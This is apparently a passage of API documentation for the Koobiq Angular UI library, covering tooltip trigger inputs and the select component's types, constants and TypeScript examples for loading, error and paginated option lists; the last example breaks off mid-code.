- `relativeToCaretVertical`: `KbqCaretVerticalAnchor` — What the tooltip is vertically anchored to while `kbqRelativeToCaret` is enabled.
- `tooltipPlacementPriority`: `string | string[] | null` — Input (`kbqPlacementPriority`) that sets the ordered fallback placements; reflects the current `placementPriority`.
- `content`: `string | TemplateRef<unknown>` — Input (`kbqTooltip`) with the tooltip content — a string or a template. Updating it refreshes an open tooltip.
- `disabled`: `boolean` — Input (`kbqTooltipDisabled`) controlling whether the tooltip is disabled; setting it to `true` hides it.
  `undefined` leaves the decision to the trigger, like an unset input.

  Reads back the *effective* state, which for triggers that derive one of their own (see
  `derivedDisabledWins`) is not necessarily the value that was written.
- `enterDelay`: `number` — Input (`kbqEnterDelay`) — delay in milliseconds before the tooltip is shown. Defaults to `400`.
- `leaveDelay`: `number` — Input (`kbqLeaveDelay`) — delay in milliseconds before the tooltip is hidden. Defaults to `0`.
- `trigger`: `string` — Input (`kbqTrigger`) with the comma-separated trigger events. An empty value resets to hover + focus and rebinds listeners.
- `customClass`: `string` — Input (`kbqTooltipClass`) with an extra CSS class applied to the tooltip; updating it refreshes the class map.
- `context`: `unknown` — Input (`kbqTooltipContext`) with the context object passed to a template tooltip; updating it refreshes the open tooltip.
- `color`: `KbqComponentColors | string` — Input (`kbqTooltipColor`) with the tooltip color theme. Defaults to `KbqComponentColors.Contrast`.
- `arrow`: `boolean` — Input (`kbqTooltipArrow`) — whether to render the tooltip's arrow/pointer. Defaults to `false`.
- `arrowCentered`: `boolean` — Input (`kbqTooltipArrowCentered`) — centers the arrow on the trigger while preserving the panel placement.
  Requires a visible arrow. Defaults to `false`.
- `offset`: `number | null` — Input (`kbqTooltipOffset`) — distance in pixels between the tooltip and its trigger. `null` keeps
  the gap of the stylesheet. Defaults to the `offset` of `KBQ_TOOLTIP_DEFAULT_OPTIONS`, when a
  provider in scope set one. Inside a provider scope such as the navbar's, `null`/`undefined` restores
  that inherited default.
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Output (`kbqPlacementChange`) that emits the new placement whenever the tooltip repositions.
- `visibleChange`: `EventEmitter<boolean>` — Output (`kbqVisibleChange`) that emits when the tooltip's visibility changes.
- `modifier`: `KbqEnumValues<TooltipModifier>` — Visual variant of the tooltip. Accepts `'default'` | `'warning'` | `'extended'`.
  Replaces the removed `KbqWarningTooltipTrigger` and `KbqExtendedTooltipTrigger`
  subclasses — to render a warning tooltip use `kbqTooltipModifier="warning"`,
  and `kbqTooltipModifier="extended"` for the extended variant (combine with `kbqTooltipHeader`).
- `header`: `string | TemplateRef<unknown>` — Header text or template, rendered above the tooltip content. Only meaningful with
  `kbqTooltipModifier="extended"`. Replaces the removed `KbqExtendedTooltipTrigger.header`.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `show()`: `void` — Shows the tooltip after `delay` ms. Suppresses showing while a pop-up on the same element holds the
  anchor or on a focus trigger that did not originate from the keyboard, and applies cursor-relative
  positioning when `relativeToPointer` is enabled.
- `hide()`: `void` — Hides the tooltip after `delay` ms and, when the user has genuinely left the host, un-mutes a tooltip
  that a pop-up on the same element had muted.

  `mouseleave` and `blur` are the release signals because the base class binds `hide` to both regardless
  of whether the tooltip is currently visible. A pop-up that is still attached does not count: its
  backdrop steals the hover from the trigger while the pointer stands still, and that `mouseleave` must
  not be mistaken for the user leaving.
- `showForMouseEvent()`: `void` — Shows the tooltip next to the cursor position of the given mouse event, anchoring it to the event's
  `currentTarget` instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template — for instance for a tooltip shared by the
  cells of a virtualized table. The directive still has to be created in an injection context.
- `showForElement()`: `void` — Shows the tooltip anchored to the given element instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template. The directive still has to be created in an
  injection context:

  ```ts
  const tooltip = runInInjectionContext(injector, () => new KbqTooltipTrigger());
  tooltip.showForElement(element);
  ```

  Does nothing while the tooltip is disabled or has no content — there is no overlay to anchor then.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

##### KbqSelectErrorText (directive)

Marks an element as the error text container for a *KbqSelect* component.

```ts
@Directive({
    selector: '[kbq-select-error-text]',
    exportAs: 'kbqSelectErrorText'
})
class KbqSelectErrorText {}
```

#### Classes

##### KbqSelectChange (class)

Change event object that is emitted when the select value has changed.

```ts
class KbqSelectChange {
    source: KbqSelect;
    value: any;
    constructor(source: KbqSelect, value: any);
}
```

#### Types

##### KbqSelectMatcherMeasurement (type)

Widths the matcher needs in order to work out how many of the selected tags actually fit.

```ts
type KbqSelectMatcherMeasurement = {
    totalItemsWidth: number;
    totalVisibleItemsWidth: number;
    visibleItems: number;
};
```

- `totalItemsWidth`: `number` — Total width of the selected tags, laid out without the "+N" counter.
- `totalVisibleItemsWidth`: `number` — Total width of the tags that stay on the first line while the counter is shown.
- `visibleItems`: `number` — How many tags stay on the first line while the counter is shown.

##### KbqSelectOptions (type)

Options for the `kbq-select` that can be configured using the `KBQ_SELECT_OPTIONS` injection token.

```ts
type KbqSelectOptions = Partial<{
    multilineOptions: boolean;
    panelWidth: KbqPanelWidth;
    panelMinWidth: KbqPanelMinWidth;
    panelMaxWidth: KbqPanelMaxWidth;
    panelMaxHeight: KbqPanelMaxHeight;
    searchMinOptionsThreshold: 'auto' | number;
    clearPredicate: (option: KbqOptionBase) => boolean;
}>;
```

- `multilineOptions?`: `boolean` — Whether option text wraps onto multiple lines. When `panelWidth` is nullish, the panel matches the trigger
  width; an explicit `panelWidth` takes precedence. Not supported with `cdk-virtual-scroll-viewport`: the panel
  modifier and automatic width fallback are not applied. Defaults to `false`.
- `panelWidth?`: `KbqPanelWidth` — Width of the panel. If set to `auto`, the panel will match the trigger width.
  If set to null or an empty string, the panel will grow to match the longest option's text.
- `panelMinWidth?`: `KbqPanelMinWidth` — Minimum width of the panel. If minWidth is larger than window width or property set to null, it will be ignored.
- `panelMaxWidth?`: `KbqPanelMaxWidth` — Maximum width of the panel. Caps growth by content only — it never overrides the trigger width or an
  explicit `panelWidth`. If null, the `--kbq-panel-size-width-max` token applies.
- `panelMaxHeight?`: `KbqPanelMaxHeight` — Maximum height of the panel's scrollable option list. Does not include the search field or the
  footer. If null, the `--kbq-select-panel-size-max-height` token applies.
- `searchMinOptionsThreshold?`: `'auto' | number` — Whether to enable hiding search by default if options is less than minimum.

  - `'auto'` uses `KBQ_SELECT_SEARCH_MIN_OPTIONS_THRESHOLD` as min value.
  - number - will enables search hiding and uses value as min.
- `clearPredicate?`: `(option: KbqOptionBase) => boolean` — Decides which selected options the projected `KbqCleaner` removes. Disabled options are kept when
  this is not set. Overridden per instance by the `clearPredicate` attribute.

#### Constants

##### delayBeforeDisplayingResultWithoutOptions (const)

Delay in milliseconds before displaying a result when there are no options.

```ts
const delayBeforeDisplayingResultWithoutOptions: number;
```

##### KBQ_SELECT_HIDDEN_TEXT_VISIBLE_CLASS (const)

Class that reveals the "+N" counter the matcher reserves room for.

```ts
const KBQ_SELECT_HIDDEN_TEXT_VISIBLE_CLASS: string;
```

##### KBQ_SELECT_OPTIONS (const)

Injection token that can be used to provide the default options for the `kbq-select`.

```ts
const KBQ_SELECT_OPTIONS: InjectionToken<KbqSelectOptions>;
```

##### kbqSelectOptionsProvider (const)

Utility provider for `KBQ_SELECT_OPTIONS`.

```ts
const kbqSelectOptionsProvider: (options: KbqSelectOptions) => Provider;
```

##### minimumTimeToDisplayLoading (const)

Minimum time in milliseconds to display the loading state.

```ts
const minimumTimeToDisplayLoading: number;
```

### Examples

#### Loading Options

If the options have not loaded yet, open the panel with a 100 ms delay. In most cases, the list will finish loading within that brief moment, and the user will not perceive it as interface lag. If the data still has not loaded, show the menu with a loading indicator for at least 300 ms to avoid unpleasant flickering.

**Example: Select loading** (`select-loading`)

```ts select-loading-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormControl, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqHighlightBackgroundPipe, KbqVirtualOption } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    delayBeforeDisplayingResultWithoutOptions,
    KbqSelectModule,
    minimumTimeToDisplayLoading
} from '@koobiq/components/select';
import { BehaviorSubject, catchError, Observable, of, race, switchMap, throwError, timer } from 'rxjs';
import { map, startWith } from 'rxjs/operators';

type Option = {
    id: number;
    label: string;
};

export class OptionsApiService {
    private delay: number = 100;

    private data = Array.from({ length: 10 }).map((_, i) => ({ id: i, label: `Option #${i}` }));

    setDelay(delay: number) {
        this.delay = delay;
    }

    getOptions(search: string): Observable<Option[]> {
        if (search === 'error') {
            return throwError(() => new Error('error'));
        }

        const term = search.toLowerCase().trim();

        const filtered = !term ? this.data : this.data.filter((option) => option.label.toLowerCase().includes(term));

        return timer(this.delay).pipe(map(() => filtered));
    }
}

export class SelectFacade {
    private readonly api = inject(OptionsApiService);
    private readonly search$ = new BehaviorSubject<string | null>(null);

    reset(): void {
        this.search$.next(null);
    }

    setSearch(value: string) {
        this.search$.next(value);
    }

    setDelay(delay: number) {
        this.api.setDelay(delay);
    }

    readonly state$ = this.search$.pipe(
        // for use in a real project
        // debounceTime(300),
        // distinctUntilChanged(),
        switchMap((search) => {
            if (search === null) {
                return of({ status: 'idle' } as const);
            }

            const request$ = this.api.getOptions(search).pipe(
                map((data) =>
                    data.length === 0 ? ({ status: 'empty' } as const) : ({ status: 'success', data } as const)
                ),
                catchError((error: any) => of({ status: 'error', error } as const))
            );

            return race(
                request$,
                timer(delayBeforeDisplayingResultWithoutOptions).pipe(
                    switchMap(() => {
                        return request$.pipe(
                            startWith({ status: 'loading' } as const),
                            switchMap((state) => {
                                if (state.status === 'loading') {
                                    return of(state);
                                }

                                return timer(minimumTimeToDisplayLoading).pipe(map(() => state));
                            })
                        );
                    })
                )
            );
        }),
        startWith({ status: 'error', error: { message: 'error message' } } as const)
    );
}

@Component({
    selector: 'select-loading-example',
    imports: [
        KbqSelectModule,
        KbqButtonToggleModule,
        FormsModule,
        KbqIconModule,
        KbqInputModule,
        ReactiveFormsModule,
        AsyncPipe,
        KbqHighlightBackgroundPipe,
        KbqButtonModule
    ],
    template: `
        <div class="layout-column layout-align-center-start layout-gap-l">
            <div class="layout-column layout-gap-xs">
                Option Loading Time
                <kbq-button-toggle-group [ngModel]="100" (ngModelChange)="facade.setDelay($event)">
                    <kbq-button-toggle [value]="100">100 ms</kbq-button-toggle>
                    <kbq-button-toggle [value]="250">250 ms</kbq-button-toggle>
                    <kbq-button-toggle [value]="500">500 ms</kbq-button-toggle>
                    <kbq-button-toggle [value]="3000">3000 ms</kbq-button-toggle>
                </kbq-button-toggle-group>
            </div>

            <kbq-form-field>
                <kbq-select
                    [compareWith]="compareWith"
                    [showPreselectedValues]="true"
                    [value]="selectedOption"
                    [virtualOptionFactory]="virtualOptionFactory"
                    (beforeOpened)="loadOptions()"
                    (closed)="resetOptions()"
                >
                    <kbq-form-field noBorders kbqSelectSearch>
                        <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                        <input kbqInput type="text" autocomplete="off" [formControl]="searchControl" />
                        <kbq-cleaner />
                    </kbq-form-field>

                    @if (state$ | async; as state) {
                        @switch (state.status) {
                            @case ('loading') {
                                <kbq-select-loading />
                            }
                            @case ('empty') {
                                <div kbq-select-search-empty-result>Ничего не найдено</div>
                            }
                            @case ('error') {
                                <!--{{ state.error.message }}-->
                                <kbq-select-error>
                                    <span kbq-select-error-text>Не удалось показать записи</span>
                                    <button
                                        kbq-button
                                        [kbqStyle]="'transparent'"
                                        [color]="'theme'"
                                        (click)="reloadOptions()"
                                    >
                                        <i kbq-icon="kbq-arrow-rotate-left_16"></i>
                                        Повторить
                                    </button>
                                </kbq-select-error>
                            }
                            @case ('success') {
                                @for (option of state.data; track option) {
                                    <kbq-option [value]="option">
                                        <span
                                            [innerHTML]="option.label | kbqHighlightBackground: searchControl.value"
                                        ></span>
                                    </kbq-option>
                                }
                            }
                        }
                    }
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
        }
    `,
    providers: [SelectFacade, OptionsApiService],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-center'
    }
})
export class SelectLoadingExample {
    protected readonly facade = inject(SelectFacade);

    protected selectedOption: Option = { id: 0, label: `Option #0` };

    protected readonly compareWith = (a: Option | null, b: Option | null) => a?.id === b?.id;
    protected readonly virtualOptionFactory = (value: Option) => new KbqVirtualOption(value, false, value.label);

    readonly state$ = this.facade.state$;
    readonly searchControl = new FormControl('');

    protected resetOptions() {
        // used as an example to show loading every time the select is opened
        this.facade.reset();
    }

    protected loadOptions() {
        // used as an example to show loading every time the select is opened
        this.searchControl.setValue('');
    }

    protected reloadOptions() {
        // used as an example to demonstrate a repeated request
        this.searchControl.setValue('');
    }

    constructor() {
        this.searchControl.valueChanges
            .pipe(takeUntilDestroyed())
            .subscribe((value) => this.facade.setSearch(value ?? ''));
    }
}
```

##### Loading Error

After the loading indicator, show an error message with an option to retry.

**Example: Select loading error** (`select-loading-error`)

```ts select-loading-error-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormControl, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    delayBeforeDisplayingResultWithoutOptions,
    KbqSelectModule,
    minimumTimeToDisplayLoading
} from '@koobiq/components/select';
import { BehaviorSubject, catchError, Observable, of, race, switchMap, throwError, timer } from 'rxjs';
import { map, startWith } from 'rxjs/operators';

type Option = {
    id: number;
    label: string;
};

export class OptionsApiService {
    private delay: number = 3000;

    private data = Array.from({ length: 10 }).map((_, i) => ({ id: i, label: `Option #${i}` }));

    setDelay(delay: number) {
        this.delay = delay;
    }

    getOptions(search: string): Observable<Option[]> {
        if (search === 'error') {
            return timer(this.delay).pipe(switchMap(() => throwError(() => new Error('error'))));
        }

        const term = search.toLowerCase().trim();

        const filtered = !term ? this.data : this.data.filter((option) => option.label.toLowerCase().includes(term));

        return timer(this.delay).pipe(map(() => filtered));
    }
}

export class SelectFacade {
    private readonly api = inject(OptionsApiService);
    private readonly search$ = new BehaviorSubject<string | null>(null);

    reset(): void {
        this.search$.next(null);
    }

    setSearch(value: string) {
        this.search$.next(value);
    }

    readonly state$ = this.search$.pipe(
        // for use in a real project
        // debounceTime(300),
        // distinctUntilChanged(),
        switchMap((search) => {
            if (search === null) {
                return of({ status: 'idle' } as const);
            }

            const request$ = this.api.getOptions(search).pipe(
                map((data) =>
                    data.length === 0 ? ({ status: 'empty' } as const) : ({ status: 'success', data } as const)
                ),
                catchError((error: any) => of({ status: 'error', error } as const))
            );

            return race(
                request$,
                timer(delayBeforeDisplayingResultWithoutOptions).pipe(
                    switchMap(() => {
                        return request$.pipe(
                            startWith({ status: 'loading' } as const),
                            switchMap((state) => {
                                if (state.status === 'loading') {
                                    return of(state);
                                }

                                return timer(minimumTimeToDisplayLoading).pipe(map(() => state));
                            })
                        );
                    })
                )
            );
        })
    );
}

@Component({
    selector: 'select-loading-error-example',
    imports: [
        KbqSelectModule,
        FormsModule,
        KbqIconModule,
        KbqInputModule,
        ReactiveFormsModule,
        AsyncPipe,
        KbqHighlightBackgroundPipe,
        KbqButtonModule
    ],
    template: `
        <div class="layout-column layout-align-center-start layout-gap-l">
            <kbq-form-field>
                <kbq-select (beforeOpened)="loadOptions()" (closed)="resetOptions()">
                    <kbq-form-field noBorders kbqSelectSearch>
                        <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                        <input kbqInput type="text" autocomplete="off" [formControl]="searchControl" />
                        <kbq-cleaner />
                    </kbq-form-field>

                    @if (state$ | async; as state) {
                        @switch (state.status) {
                            @case ('loading') {
                                <kbq-select-loading />
                            }
                            @case ('empty') {
                                <div kbq-select-search-empty-result>Ничего не найдено</div>
                            }
                            @case ('error') {
                                <kbq-select-error>
                                    <span kbq-select-error-text>Не удалось показать записи</span>
                                    <button
                                        kbq-button
                                        [kbqStyle]="'transparent'"
                                        [color]="'theme'"
                                        (click)="reloadOptions()"
                                    >
                                        <i kbq-icon="kbq-arrow-rotate-left_16"></i>
                                        Повторить
                                    </button>
                                </kbq-select-error>
                            }
                            @case ('success') {
                                @for (option of state.data; track option) {
                                    <kbq-option [value]="option">
                                        <span
                                            [innerHTML]="option.label | kbqHighlightBackground: searchControl.value"
                                        ></span>
                                    </kbq-option>
                                }
                            }
                        }
                    }
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
        }
    `,
    providers: [SelectFacade, OptionsApiService],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-center'
    }
})
export class SelectLoadingErrorExample {
    protected readonly facade = inject(SelectFacade);

    readonly state$ = this.facade.state$;
    readonly searchControl = new FormControl('');

    protected resetOptions() {
        // used as an example to show loading every time the select is opened
        this.facade.reset();
    }

    protected loadOptions() {
        // used as an example to show loading every time the select is opened
        this.searchControl.setValue('error');
    }

    protected reloadOptions() {
        // used as an example to demonstrate a repeated request
        this.searchControl.setValue('');
    }

    constructor() {
        this.searchControl.valueChanges
            .pipe(takeUntilDestroyed())
            .subscribe((value) => this.facade.setSearch(value ?? ''));
    }
}
```

#### Pagination Loading

**Example: Select paging** (`select-paging`)

```ts select-paging-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, inject, OnDestroy } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqHighlightBackgroundPipe, KbqVirtualOption } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqProgressSpinnerModule } from '@koobiq/components/progress-spinner';
import {
    delayBeforeDisplayingResultWithoutOptions,
    KbqSelect,
    KbqSelectModule,
    minimumTimeToDisplayLoading
} from '@koobiq/components/select';
import {
    BehaviorSubject,
    catchError,
    exhaustMap,
    fromEvent,
    merge,
    Observable,
    of,
    race,
    Subject,
    Subscription,
    switchMap,
    timer
} from 'rxjs';
import { map, startWith, tap } from 'rxjs/operators';

type Option = {
    id: number;
    label: string;
};

type PagedResult = {
    data: Option[];
    hasMore: boolean;
};

type SelectState =
    | { status: 'idle' }
    | { status: 'loading' }
    | { status: 'empty' }
    | { status: 'error'; error: any }
    | { status: 'success'; data: Option[]; hasMore: boolean; loadingMore: boolean };

const PAGE_SIZE = 20;
const DELAY = 1000;

export class OptionsApiService {
    private data = Array.from({ length: 100 }).map((_, i) => ({ id: i, label: `Option #${i}` }));

    getOptions(
        search: string,
        page: number = 0,
        delay: number = DELAY,
        pageSize: number = PAGE_SIZE
    ): Observable<PagedResult> {
        const term = search.toLowerCase().trim();

        const filtered = !term ? this.data : this.data.filter((option) => option.label.toLowerCase().includes(term));

        const start = page * pageSize;
        const end = start + pageSize;
        const pageData = filtered.slice(start, end);
        const hasMore = end < filtered.length;

        return timer(delay).pipe(map(() => ({ data: pageData, hasMore })));
    }
}

export class SelectFacade {
    private readonly api = inject(OptionsApiService);
    private readonly search$ = new BehaviorSubject<string | null>(null);
    readonly loadMore$ = new Subject<void>();

    private accumulated: Option[] = [];
    private currentPage = 0;
    private currentHasMore = false;
    private isLoadingMore = false;

    reset(): void {
        this.search$.next(null);
    }

    setSearch(value: string) {
        this.search$.next(value);
    }

    loadMore(): void {
        if (!this.currentHasMore || this.isLoadingMore) return;

        this.loadMore$.next();
    }

    readonly state$: Observable<SelectState> = this.search$.pipe(
        // for use in a real project
        // debounceTime(300),
        // distinctUntilChanged(),
        switchMap((search) => {
            if (search === null) {
                return of({ status: 'idle' } as SelectState);
            }

            this.accumulated = [];
            this.currentPage = 0;
            this.currentHasMore = false;
            this.isLoadingMore = false;

            const request$ = this.api.getOptions(search, 0, 0).pipe(
                map((result): SelectState => {
                    if (result.data.length === 0) {
                        return { status: 'empty' };
                    }

                    this.accumulated = result.data;
                    this.currentHasMore = result.hasMore;

                    return { status: 'success', data: this.accumulated, hasMore: result.hasMore, loadingMore: false };
                }),
                catchError((error: any) => of({ status: 'error', error } as SelectState))
            );

            const initialLoad$ = race(
                request$,
                timer(delayBeforeDisplayingResultWithoutOptions).pipe(
                    switchMap(() => {
                        return request$.pipe(
                            startWith({ status: 'loading' } as SelectState),
                            switchMap((state) => {
                                if (state.status === 'loading') {
                                    return of(state);
                                }

                                return timer(minimumTimeToDisplayLoading).pipe(map(() => state));
                            })
                        );
                    })
                )
            );

            const loadMore$ = this.loadMore$.pipe(
                exhaustMap(() => {
                    this.currentPage++;
                    this.isLoadingMore = true;

                    return this.api.getOptions(search, this.currentPage, DELAY).pipe(
                        map((result): SelectState => {
                            this.accumulated = [...this.accumulated, ...result.data];
                            this.currentHasMore = result.hasMore;
                            this.isLoadingMore = false;

                            return {
                                status: 'success',
                                data: this.accumulated,
                                hasMore: result.hasMore,
                                loadingMore: false
                            };
                        }),
                        startWith({
                            status: 'success',
                            data: this.accumulated,
                            hasMore: true,
                            loadingMore: true
                        } as SelectState)
                    );
                })
            );

            return merge(
                initialLoad$.pipe(
                    tap((state) => {
                        if (state.status === 'success') {
                            this.accumulated = state.data;
                        }
                    })
                ),
                loadMore$
            );
        })
    );
}

@Component({
    selector: 'select-paging-example',
    imports: [
        KbqSelectModule,
        KbqIconModule,
        KbqInputModule,
        ReactiveFormsModule,
        AsyncPipe,
        KbqHighlightBackgroundPipe,
        KbqButtonModule,
        KbqProgressSpinnerModule
    ],
    template: `
        <div class="layout-column layout-align-center-start layout-gap-l">
            <kbq-form-field>
                <kbq-select
                    #select
                    [compareWith]="compareWith"
                    [showPreselectedValues]="true"
                    [value]="selectedOption"
                    [virtualOptionFactory]="virtualOptionFactory"
                    (beforeOpened)="reloadOptions()"
                    (opened)="onSelectOpened(select)"
                    (closed)="onSelectClosed()"
                >
                    <kbq-form-field noBorders kbqSelectSearch>
                        <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                        <input kbqInput type="text" autocomplete="off" [formControl]="searchControl" />
                        <kbq-cleaner />
                    </kbq-form-field>

                    @if (facade.state$ | async; as state) {
                        @switch (state.status) {
                            @case ('loading') {
                                <kbq-select-loading />
                            }
                            @case ('empty') {
                                <div kbq-select-search-empty-result>Ничего не найдено</div>
                            }
                            @case ('error') {
                                <kbq-select-error>
                                    <span kbq-select-error-text>Не удалось показать записи</span>
                                    <button
                                        kbq-button
                                        [kbqStyle]="'transparent'"
                                        [color]="'theme'"
                                        (click)="reloadOptions()"
                                    >
                                        <i kbq-icon="kbq-arrow-rotate-left_16"></i>
                                        Повторить
                                    </button>
                                </kbq-select-error>
                            }
                            @case ('success') {
                                @for (option of state.data; track option.id) {
                                    <kbq-option [value]="option">
                                        <span
                                            [innerHTML]="option.label | kbqHighlightBackground: searchControl.value"
                                        ></span>
                                    </kbq-option>
                                }

                                @if (state.loadingMore) {
                                    <kbq-option [disabled]="true">
                                        <div class="layout-row layout-align-start-center">
                                            <kbq-progress-spinner [mode]="'indeterminate'" />
                                            <span class="layout-padding-left-s">Загрузка</span>
                                        </div>
                                    </kbq-option>
                                }
                            }
                        }
                    }
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
        }
    `,
    providers: [SelectFacade, OptionsApiService],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-center'
    }
})
export class SelectPagingExample implements OnDestroy {
    protected readonly facade = inject(SelectFacade);

    protected selectedOption: Option = { id: 0, label: `Option #0` };

    protected readonly compareWith = (a: Option | null, b: Option | null) => a?.id === b?.id;
    protected readonly virtualOptionFactory = (value: Option) => new KbqVirtualOption(value, false, value.label);

    readonly searchControl = new FormControl('');

    private scrollSub: Subscription | null = null;

    protected onSelectOpened(select: KbqSelect) {
        const scrollContainer = select.optionsContainer()?.nativeElement;

        if (!scrollContainer) return;

        this.scrollSub = fromEvent(scrollContainer, 'scroll').subscribe(() => {
            const { scrollTop, scrollHeight, clientHeight } = scrollContainer;

            if (scrollTop + clientHeight >= scrollHeight - 30) {
                this.facade.loadMore();
            }
        });
    }

    protected onSelectClosed() {
        this.scrollSub?.unsubscribe();
        this.scrollSub = null;
        this.facade.reset();
    }

    // in beforeOpened used as an example to show loading every time the select is opened
    protected reloadOptions() {
        this.searchControl.setValue('');
    }

    ngOnDestroy() {
        this.scrollSub?.unsubscribe();
    }

    constructor() {
        this.searchControl.valueChanges
            .pipe(takeUntilDestroyed())
            .subscribe((value) => this.facade.setSearch(value ?? ''));
    }
}
```

##### Pagination Loading Error

**Example: Select paging error** (`select-paging-error`)

```ts select-paging-error-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, inject, OnDestroy } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqHighlightBackgroundPipe, KbqVirtualOption } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqProgressSpinnerModule } from '@koobiq/components/progress-spinner';
import {
    delayBeforeDisplayingResultWithoutOptions,
    KbqSelect,
    KbqSelectModule,
    minimumTimeToDisplayLoading
} from '@koobiq/components/select';
import {
    BehaviorSubject,
    catchError,
    exhaustMap,
    fromEvent,
    merge,
    Observable,
    of,
    race,
    Subject,
    Subscription,
    switchMap,
    throwError,
    timer
} from 'rxjs';
import { map, startWith, tap } from 'rxjs/operators';

type Option = {
    id: number;
    label: string;
};

type PagedResult = {
    data: Option[];
    hasMore: boolean;
};

type SelectState =
    | { status: 'idle' }
    | { status: 'loading' }
    | { status: 'empty' }
    | { status: 'error'; error: any }
    | { status: 'success'; data: Option[]; pageNotLoaded?: boolean; hasMore: boolean; loadingMore: boolean };

const PAGE_SIZE = 20;
const DELAY = 1000;

export class OptionsApiService {
    private data = Array.from({ length: 100 }).map((_, i) => ({ id: i, label: `Option #${i}` }));

    getOptions(
        search: string,
        page: number = 0,
        delay: number = DELAY,
        error: boolean = false,
        pageSize: number = PAGE_SIZE
    ): Observable<PagedResult> {
        if (error) {
            return timer(DELAY).pipe(switchMap(() => throwError(() => new Error('error'))));
        }

        const term = search.toLowerCase().trim();

        const filtered = !term ? this.data : this.data.filter((option) => option.label.toLowerCase().includes(term));

        const start = page * pageSize;
        const end = start + pageSize;
        const pageData = filtered.slice(start, end);
        const hasMore = end < filtered.length;

        return timer(delay).pipe(map(() => ({ data: pageData, hasMore })));
    }
}

export class SelectFacade {
    private readonly api = inject(OptionsApiService);
    private readonly search$ = new BehaviorSubject<string | null>(null);
    readonly loadMore$ = new Subject<void>();

    private accumulated: Option[] = [];
    private currentPage = 0;
    private currentHasMore = false;
    private isLoadingMore = false;

    reset(): void {
        this.search$.next(null);
    }

    setSearch(value: string) {
        this.search$.next(value);
    }

    loadMore(): void {
        if (!this.currentHasMore || this.isLoadingMore) return;

        this.loadMore$.next();
    }

    readonly state$: Observable<SelectState> = this.search$.pipe(
        // for use in a real project
        // debounceTime(300),
        // distinctUntilChanged(),
        switchMap((search) => {
            if (search === null) {
                return of({ status: 'idle' } as SelectState);
            }

            this.accumulated = [];
            this.currentPage = 0;
            this.currentHasMore = false;
            this.isLoadingMore = false;

            const request$ = this.api.getOptions(search, 0, 0).pipe(
                map((result): SelectState => {
                    if (result.data.length === 0) {
                        return { status: 'empty' };
                    }

                    this.accumulated = result.data;
                    this.currentHasMore = result.hasMore;

                    return { status: 'success', data: this.accumulated, hasMore: result.hasMore, loadingMore: false };
                }),
                catchError((error: any) => of({ status: 'error', error } as SelectState))
            );

            const initialLoad$ = race(
                request$,
                timer(delayBeforeDisplayingResultWithoutOptions).pipe(
                    switchMap(() => {
                        return request$.pipe(
                            startWith({ status: 'loading' } as SelectState),
                            switchMap((state) => {
                                if (state.status === 'loading') {
                                    return of(state);
                                }

                                return timer(minimumTimeToDisplayLoading).pipe(map(() => state));
                            })
                        );
                    })
                )
            );

            const loadMore$ = this.loadMore$.pipe(
                exhaustMap(() => {
                    this.currentPage++;
                    this.isLoadingMore = true;

                    return this.api.getOptions(search, this.currentPage, DELAY, this.currentPage > 1).pipe(
                        map((result): SelectState => {
                            this.accumulated = [...this.accumulated, ...result.data];
                            this.currentHasMore = result.hasMore;
                            this.isLoadingMore = false;

                            return {
